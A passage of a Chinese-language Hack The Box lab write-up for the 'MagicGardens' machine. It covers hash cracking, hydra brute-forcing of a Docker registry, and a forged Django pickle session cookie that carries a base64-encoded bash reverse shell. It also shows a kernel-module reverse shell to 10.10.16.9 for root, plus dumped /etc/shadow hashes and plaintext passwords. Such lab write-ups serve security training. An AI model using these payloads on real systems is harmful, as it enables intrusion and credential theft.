Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178"
Subject: Auth file for docker
To: <alex@magicgardens.magicgardens.htb>
User-Agent: mail (GNU Mailutils 3.15)
Date: Fri, 29 Sep 2023 09:31:49 -0400
Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb>
From: root <root@magicgardens.magicgardens.htb>

--1804289383-1695994309=:37178
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb>

Use this file for registry configuration. The password is on your desk

--1804289383-1695994309=:37178
Content-Type: application/octet-stream; name="auth.zip"
Content-Disposition: attachment; filename="auth.zip"
Content-Transfer-Encoding: base64
Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb>

UEsDBAoACQAAANJKPVd7vIicUQAAAEUAAAAIABwAaHRwYXNzd2RVVAkAA5zPFmXfzxZldXgLAAEE
AAAAAAQAAAAALhn9bpKX/KXvjmlPfYCa9OEHMyQcFo1tQTmiDY2N8aVPEZmJLeCnCLo9hZ7Ouh0t
Ey1XVCasp5mosMUwvyYvFbnKe2TgDyi1bV2aZ2hn368DUEsHCHu8iJxRAAAARQAAAFBLAQIeAwoA
CQAAANJKPVd7vIicUQAAAEUAAAAIABgAAAAAAAEAAADogQAAAABodHBhc3N3ZFVUBQADnM8WZXV4
CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAACjAAAAAAA=
--1804289383-1695994309=:37178--

然後有一個base64,是個zip文件,解壓這個zip文件需要密碼:

1
2
3
$ unzip auth.zip 
Archive: auth.zip
[auth.zip] htpasswd password:

由於不知道密碼,嘗試爆破下:

1
2
3
$ zip2john auth.zip
ver 1.0 efh 5455 efh 7875 auth.zip/htpasswd PKZIP Encr: 2b chk, TS_chk, cmplen=81, decmplen=69, crc=9C88BC7B ts=4AD2 cs=4ad2 type=0
auth.zip/htpasswd:$pkzip$1*2*2*0*51*45*9c88bc7b*0*42*0*51*4ad2*2e19fd6e9297fca5ef8e694f7d809af4e10733241c168d6d4139a20d8d8df1a54f1199892de0a708ba3d859eceba1d2d132d575426aca799a8b0c530bf262f15b9ca7b64e00f28b56d5d9a676867dfaf03*$/pkzip$:htpasswd:auth.zip::auth.zip

然後使用hashcat來破解:

image

得到密碼:realmadrid​,裏面的htpasswd 也有一個hash,

1
2
$ cat htpasswd                         
alex:$2y$05$xZTYUkg.1Ohcrf31e3whieWMBhSinB/N0fznRJSqHr4KDQIuQ0txW

再次爆破這個hash,得到密碼: $2y$05$xZTYUkg.1Ohcrf31e3whieWMBhSinB/N0fznRJSqHr4KDQIuQ0txW:diamonds

從文件中可以得知這個是 docker registry 的密碼。

0xC 5000 - Bruteforce alex login password

事實上可以用hydra爆破,速度也很快。

1
2
3
4
5
6
7
8
9
10
$ hydra -l alex -P /Tools/Wordlists/rockyou.txt 10.129.231.24 -s 5000 https-get /v2/ -t 64 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-24 16:15:38
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~224132 tries per task
[DATA] attacking http-gets://10.129.231.24:5000/v2/
[5000][http-get] host: 10.129.231.24 login: alex password: diamonds
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-24 16:15:57

0x8 5000 - Docker api

有了賬號密碼就嘗試dump docker image,這裏使用 https://github.com/Syzik/DockerRegistryGrabber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ python3 drg.py https://magicgardens.htb -U alex -P diamonds --dump magicgardens.htb
/home/mane/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.1.0)/charset_normalizer (2.0.9) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[+] BlobSum found 30
[+] Dumping magicgardens.htb
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c
[+] Downloading : 748da8c1b87e668267b90ea305e2671b22d046dcfeb189152bf590d594c3b3fc
[+] Downloading : 81771b31efb313fb18dae7d8ca3a93c8c4554aa09239e09d61bbbc7ed58d4515
[+] Downloading : 35b21a215463f8130302987a1954d01a8346cdd82c861d57eeb3cfb94d6511a8
[+] Downloading : 437853d7b910e50d0a0a43b077da00948a21289a32e6ce082eb4d44593768eb1
[+] Downloading : f9afd820562f8d93873f4dfed53f9065b928c552cf920e52e804177eff8b2c82
[+] Downloading : d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6
[+] Downloading : fedbb0514db0150f2376b0f778e5f304c302b53619b96a08824c50da7e3e97ea
[+] Downloading : 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb
[+] Downloading : 02cea9e48b60ccaf6476be25bac7b982d97ef0ed66baeb8b0cffad643ece37d5
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 8999ec22cbc0ab31d0e3471d591538ff6b2b4c3bbace9c2a97e6c68844382a78
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 470924304c244ba833543bb487c73e232fd34623cdbfa51d30eab30ce802a10d
[+] Downloading : 4bc8eb4a36a30acad7a56cf0b58b279b14fce7dd6623717f32896ea748774a59
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 9c94b131279a02de1f5c2eb72e9cda9830b128840470843e0761a45d7bebbefe
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : c485c4ba383179db59368a8a4d2df3e783620647fe0b014331c7fd2bd8526e5b
[+] Downloading : 9b1fd34c30b75e7edb20c2fd09a9862697f302ef9ae357e521ef3c84d5534e3f
[+] Downloading : d31b0195ec5f04dfc78eca9d73b5d223fc36a29f54ee888bc4e0615b5839e692
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : de4cac68b6165c40cf6f8b30417948c31be03a968e233e55ee40221553a5e570

然後得到得到一堆 layer。

1
2
3
4
5
6
7
8
9
10
11
$ ls
02cea9e48b60ccaf6476be25bac7b982d97ef0ed66baeb8b0cffad643ece37d5.tar.gz 9c94b131279a02de1f5c2eb72e9cda9830b128840470843e0761a45d7bebbefe.tar.gz
35b21a215463f8130302987a1954d01a8346cdd82c861d57eeb3cfb94d6511a8.tar.gz a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
437853d7b910e50d0a0a43b077da00948a21289a32e6ce082eb4d44593768eb1.tar.gz b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c.tar.gz
470924304c244ba833543bb487c73e232fd34623cdbfa51d30eab30ce802a10d.tar.gz c485c4ba383179db59368a8a4d2df3e783620647fe0b014331c7fd2bd8526e5b.tar.gz
480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz d31b0195ec5f04dfc78eca9d73b5d223fc36a29f54ee888bc4e0615b5839e692.tar.gz
4bc8eb4a36a30acad7a56cf0b58b279b14fce7dd6623717f32896ea748774a59.tar.gz d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6.tar.gz
748da8c1b87e668267b90ea305e2671b22d046dcfeb189152bf590d594c3b3fc.tar.gz de4cac68b6165c40cf6f8b30417948c31be03a968e233e55ee40221553a5e570.tar.gz
81771b31efb313fb18dae7d8ca3a93c8c4554aa09239e09d61bbbc7ed58d4515.tar.gz f9afd820562f8d93873f4dfed53f9065b928c552cf920e52e804177eff8b2c82.tar.gz
8999ec22cbc0ab31d0e3471d591538ff6b2b4c3bbace9c2a97e6c68844382a78.tar.gz fedbb0514db0150f2376b0f778e5f304c302b53619b96a08824c50da7e3e97ea.tar.gz
9b1fd34c30b75e7edb20c2fd09a9862697f302ef9ae357e521ef3c84d5534e3f.tar.gz

0x9 Container - SECRET_KEY​ to Shell as Container

爲了在文件中尋找那個layer有源碼,我還記得一開始的時候使用了morty這個用戶,所以嘗試使用 zgrep​ 來快速定位layer:

1
2
3
4
$ zgrep -la morty *.tar.gz
480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz
b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c.tar.gz
d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6.tar.gz

得到了三個之後,我解壓了第一個 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz​ ,看到了裏面有 .env​的文件。

1
2
3
$ cat .env     
DEBUG=False
SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b

由於知道了 SECRET_KEY​ 就可以嘗試搜索 Django SECRET_KEY rce​,看到這篇:https://www.cnblogs.com/-zhong/p/13463486.html

根據這篇文章,改了一下,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings

settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")


class CreateTmpFile(object):
def __reduce__(self):
import subprocess
return (subprocess.call,
(['bash',
'-c','echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuOS8xMTExIDA+JjEnCg== | base64 -d | bash'],))


sess = signing.dumps(
obj=CreateTmpFile(),
serializer=PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies'
)


print(sess)

運行後把python的輸出結果填到 sessionid​ ,然後點擊發送,最後得到 reverse shell。

image

0x10 Root - Exploit cap_sys_module​ to root.

然後進去reverse shell 之後,出去一層看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@86197762ad36:/usr/src/app# export TERM=screen
root@86197762ad36:/usr/src/app# stty columns 189 rows 47
root@86197762ad36:/usr/src/app# ls
app db.sqlite3 entrypoint.sh manage.py media requirements.txt static store
root@86197762ad36:/usr/src/app# cd ..
root@86197762ad36:/usr/src# ls
app linux-headers-6.1.0-11-amd64 linux-headers-6.1.0-11-common linux-headers-6.1.0-20-amd64 linux-headers-6.1.0-20-common linux-kbuild-6.1
root@86197762ad36:/usr/src# make
make: *** No targets specified and no makefile found. Stop.
root@86197762ad36:/usr/src# gcc
gcc: fatal error: no input files
compilation terminated.
root@86197762ad36:/usr/src#

這些文件(linux-headers-6.1.0-11-amd64​ or linux-headers-6.1.0-11-common​)不應該出現在文件夾裏面,因爲這些文件通常都是編譯内核的時候才會用到 (一般來説docker會使用contained,contained會和host主機公用一個内核,實際上也只是chroot而已)。

然後裏面也有安裝了gcc和make,所以就懷疑這個container有特殊權限,看了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@86197762ad36:/usr/src# capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

看到: cap_sys_module​, 也就是說可以給host的内核安裝模組,然後實現提權,參考 https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation

跟著hacktricks的提示製作兩個文件,Makefile​ 和 reverse-shell.c​ ,make完成之後,使用insmod​安裝内核模塊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
root@86197762ad36:/usr/src# cat Makefile 
obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean


root@86197762ad36:/usr/src# cat reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.9/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);


root@86197762ad36:/usr/src# make
make -C /lib/modules/6.1.0-20-amd64/build M=/usr/src modules
make[1]: Entering directory '/usr/src/linux-headers-6.1.0-20-amd64'
CC [M] /usr/src/reverse-shell.o
MODPOST /usr/src/Module.symvers
CC [M] /usr/src/reverse-shell.mod.o
LD [M] /usr/src/reverse-shell.ko
BTF [M] /usr/src/reverse-shell.ko
Skipping BTF generation for /usr/src/reverse-shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.1.0-20-amd64'

root@86197762ad36:/usr/src# insmod reverse-shell.ko

你就得到了root權限。

image

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@magicgardens:/root# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$Gctu2C9XwCFVr1qINWJjA/$u8IdKz0x2uCYAzOIx0qxNvBQEjY0uOaRwgA1sRC8Aj8:19592:0:99999:7:::
daemon:*:19592:0:99999:7:::
bin:*:19592:0:99999:7:::
sys:*:19592:0:99999:7:::
sync:*:19592:0:99999:7:::
games:*:19592:0:99999:7:::
man:*:19592:0:99999:7:::
lp:*:19592:0:99999:7:::
mail:*:19592:0:99999:7:::
news:*:19592:0:99999:7:::
uucp:*:19592:0:99999:7:::
proxy:*:19592:0:99999:7:::
www-data:*:19592:0:99999:7:::
backup:*:19592:0:99999:7:::
list:*:19592:0:99999:7:::
irc:*:19592:0:99999:7:::
_apt:*:19592:0:99999:7:::
nobody:*:19592:0:99999:7:::
systemd-network:!*:19592::::::
messagebus:!:19592::::::
avahi-autoipd:!:19592::::::
sshd:!:19592::::::
alex:$y$j9T$vRmhfv9eghNK4I7HfdkjW0$5fFIjvFlbw5ki/5cvoSkG/YizBXms47kw9tubbF/l42:19759:0:99999:7:::
morty:$y$j9T$0lTi82bFeyrX9oyH/XMnE.$V8E6g5oxm5/LGomE.6NBAIwvieFOLqSgm3b7LnZlPT5:19781:0:99999:7:::
postfix:!:19629::::::
_laurel:!:19839::::::
root@magicgardens:/root#

More on box

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/python3

from selenium import webdriver
from selenium.webdriver import FirefoxOptions
from selenium.webdriver.firefox.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import selenium.webdriver.support.ui as ui
import time

opts = FirefoxOptions()
opts.binary_location = '/usr/bin/firefox'
driverService = Service('/root/AI/geckodriver', log_output='/dev/null')
opts.add_argument('--headless')

username = 'morty'
password = 'jonasbrothers'

browser = webdriver.Firefox(service=driverService, options=opts)
browser.set_page_load_timeout(20)
wait = ui.WebDriverWait(browser, 10)

# Login
browser.get('http://magicgardens.htb/login')

elem = browser.find_element(By.NAME, 'username')
elem.send_keys(username)

elem = browser.find_element(By.NAME, 'password')
elem.send_keys(password)

elem = browser.find_element(By.XPATH, '//button[text()="Sign in"]')
elem.submit()
print("Logging into the website as standard user")
wait.until(lambda browser: browser.find_element(By.PARTIAL_LINK_TEXT, 'Hello'))
print("Authentication successful!")

# Login into admin
browser.get('http://magicgardens.htb/admin')

elem = browser.find_element(By.NAME, 'username')
elem.send_keys(username)

elem = browser.find_element(By.NAME, 'password')
elem.send_keys(password)

elem.send_keys(Keys.RETURN)
print("Logging into the website as admin")
wait.until(lambda browser: browser.find_element(By.XPATH, '//button[text()="Log out"]'))
print("Authentication successful!")
while True:
try:
# Check for orders
browser.get('http://magicgardens.htb/admin/store/order/')

orders = browser.find_elements(By.PARTIAL_LINK_TEXT, '[')

users_set = set()
users_premium = set()

for order in orders:
user_from_order = order.text.split()[0]
users_set.add(user_from_order)
print("Got orders")

# Check Premium users
for user in users_set:
browser.get(f"http://magicgardens.htb/admin/store/storeuser/{user}/change/")
elem = browser.find_element(By.NAME, 'status')
user_status = elem.get_attribute('value')

if user_status == 'Premium':
users_premium.add(user)
print("Got premium users")

# Send messages to premium users
for user in users_premium:
message = f"Hello, {user}. Thank you for your order. The flowers will be delivered tomorrow. To get the discount, please send me your QR code. With love, Morty."
browser.get('http://magicgardens.htb/send_message/')

elem = browser.find_element(By.ID, 'username')
elem.send_keys(user)

elem = browser.find_element(By.ID, 'message')
elem.send_keys(message)

elem = browser.find_element(By.XPATH, '//button[text()="Send"]')
elem.submit()
print("Sent messages to users")

# Check for new messages
browser.get('http://magicgardens.htb/profile/?tab=messages&direct=inbox')

elems = browser.find_elements(By.PARTIAL_LINK_TEXT, 'Attachment')
message_links = set()

for elem in elems:
is_new = elem.get_attribute('class')

if 'bg-dark' in is_new:
message_links.add(elem.get_attribute('href'))

for message_link in message_links:
try:
browser.get(message_link)
elem = browser.find_element(By.PARTIAL_LINK_TEXT, 'Check')
browser.get(elem.get_attribute('href'))
try:
alert = browser.switch_to.alert
alert.accept()
except:
pass
except:
continue

# Remove all orders
browser.get('http://magicgardens.htb/admin/store/order/')
try:
elem = browser.find_element(By.ID, 'action-toggle')
elem.click()

select = ui.Select(browser.find_element(By.NAME, 'action'))
select.select_by_value('delete_selected')

elem = browser.find_element(By.XPATH, '//button[text()="Go"]')
elem.submit()

wait.until(lambda browser: browser.find_element(By.XPATH, '//input[@type="submit"]'))

elem = browser.find_element(By.XPATH, '//input[@type="submit"]')
elem.click()
print("Deleted orders")
except:
pass
time.sleep(60)
except:
time.sleep(60)

從上面的脚本可以看出,機器人真的會點擊裏面的鏈接。

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)